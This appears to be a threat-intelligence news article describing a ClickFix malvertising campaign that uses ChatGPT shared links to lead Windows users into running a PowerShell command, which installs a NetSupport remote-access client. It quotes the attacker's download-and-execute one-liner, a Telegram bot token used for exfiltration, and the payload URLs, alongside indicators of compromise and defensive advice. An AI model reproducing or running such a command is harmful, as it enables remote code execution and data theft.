Fake ChatGPT Sites Deliver Malware via Malvertising Campaign

Key Takeaways

• A new malvertising campaign targets Windows users by leveraging legitimate ChatGPT shared conversation links.
• Attackers trick victims into executing a PowerShell command via the Windows Run dialog, leading to malware infection.
• The campaign deploys a hidden loader that collects system information and installs the NetSupport remote-control client.
• The legitimate ChatGPT platform itself was not compromised; the exploit relies on user interaction with deceptive content within shared links.
• The primary risk is unauthorized remote access and potential further compromise of the victim’s system.

Windows users are currently facing a sophisticated malvertising campaign that cleverly weaponizes legitimate ChatGPT shared links to initiate a malware infection chain. Rather than directly breaching the AI platform, threat actors embed malicious instructions within a shared conversation, relying on unsuspecting users to follow these directives.

The campaign directs users to a fraudulent backup site, purportedly due to high traffic, where a fake human verification screen instructs them to execute a PowerShell command through the Windows Run dialog. This action silently triggers a multi-stage download process, ultimately installing a remote-control client and exposing sensitive system data.

Analysts at Joe Reverser said in a report, shared with Cyber Security News (CSN), that they have identified this activity as a “ClickFix” operation. They emphasized that the genuine ChatGPT domain remains uncompromised. The vulnerability lies in the abuse of user-controlled shared content, highlighting that a trusted URL alone does not guarantee the safety of all content or instructions presented on a page.

Exploiting Trust: ChatGPT Links as Initial Lures

The attack begins with an authentic ChatGPT sharing URL, such as https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8?gad_source=1&gad_campaignid=24099424548&gbraid=0AAAABEYrb1R9FV_puc090W7fCw9EgqHXr&gclid=CjwKCAjwy5rUBhB5EiwAIoAtCt0ElCUp9KixnPoAmexDzPVBvBhgFtyU1LU7_zKvTAsElOB3HQrESRoCSmQQAvD_BwE. This legitimate-looking link can appear credible when distributed via ads, search results, messages, or emails. Upon clicking, the shared ChatGPT page displays a message indicating high traffic and prompts the user to visit a supposed “backup” site. Crucially, there is no automatic redirection; the victim must intentionally click the provided link to proceed to the malicious destination.

This tactic is effective because it leverages the inherent credibility of a real service without requiring a direct compromise of its infrastructure. Similar strategies have been observed in campaigns involving fake OpenAI Codex download pages, where attackers combine established AI branding with “ClickFix” prompts to manipulate users into executing manual commands.

The Deceptive Verification Stage

The subsequent landing page, hosted on a domain like openai-backup.one, employs OpenAI-themed branding, a fake Cloudflare-style verification screen, and a deceptive claim involving Google. A button on this page copies a PowerShell command (e.g., powershell -C "IEX(irm 'brmconfig.com')"; exit) to the user’s clipboard. The instructions then guide the user through a familiar “ClickFix” sequence: pressing Win+R to open the Run dialog, Ctrl+V to paste the command, and Enter to execute it. This method has been previously documented in various Windows Run dialog attacks.

This approach bypasses direct browser downloads, which often trigger security warnings. Instead, the victim executes the command using a built-in Windows feature. This human-initiated step can diminish the typical warning signs associated with conventional phishing, despite the fact that a legitimate human verification process would never require the use of the Run dialog or PowerShell.

Payload Delivery and Data Exfiltration

Upon execution, the PowerShell command fetches and evaluates a remote script. This script operates stealthily, hiding its console window and performing checks to avoid analysis environments. It then launches additional PowerShell stages, bypassing execution policies.

A decoded stage of the script collects extensive system and network information, including the victim’s computer details, public IP address, location, internet provider, time zone, Windows version, and administrator status. This data is then exfiltrated to a Telegram chat using a hard-coded bot token (8860131546:AAEw4RsooG63J16vrY1o5b9ZwXOnP_Nl_gQ) and chat ID (-1004488044983), leveraging the Telegram API endpoint (api.telegram.org) and geolocation services like http://ip-api.com/json/?fields=query,country,city,regionName,isp,timezone and https://api.ipify.org.

Following data exfiltration, the script downloads what appears to be an MP4 video file (e.g., https://brmconfig.com/video.mp4). While visually a valid media file, this MP4 also contains an encrypted and compressed PowerShell bundle hidden within a custom data area, identifiable by the UUID 6d5c057efe144b31bce5b7cf90b066a5. This sophisticated concealment technique is a hallmark of advanced “ClickFix” campaigns, particularly those with Cloudflare themes.

Researchers successfully extracted 20 embedded files from this bundle, including a signed NetSupport remote-control client (app.EXe, SHA-256: 56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422) and supporting components (e.g., REMcmdsTUB.exE, SHA-256: b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2). While remote administration software like NetSupport can be legitimate, its delivery through such deceptive means, coupled with system profiling and efforts to clear traces (like deleting Windows Run history from HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU), unequivocally marks this deployment as malicious.

What You Should Do

• Exercise Extreme Caution: Treat any website that requests you to open the Run dialog, Terminal, Command Prompt, or PowerShell to “verify” your humanity as malicious. Close such pages immediately.
• Inspect Before Execution: If you are ever prompted to paste a command into a system utility, meticulously inspect its content before pressing Enter. Legitimate verification processes rarely, if ever, require direct command execution.
• Report Suspicious Activity: If you suspect you have executed a malicious command or encountered such a campaign, immediately alert your organization’s security team or IT department.
• Block Malicious Infrastructure: Organizations should actively block the identified malicious domains (e.g., openai-backup.one, brmconfig.com) and IP addresses (e.g., 138.124.123.8, 91.92.240.175) at their network perimeter.
• Investigate Indicators of Compromise (IoCs): Utilize the provided IoCs, including file hashes (e.g., SHA-256 for video.mp4: 28e36f00ecd31de79455c0ecf11bb1c6481f4d35d26ba5e2c60e5a55f784cbec), to scan your environment for any signs of compromise. Ensure to “re-fang” defanged IP addresses and domains only within secure threat intelligence platforms.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.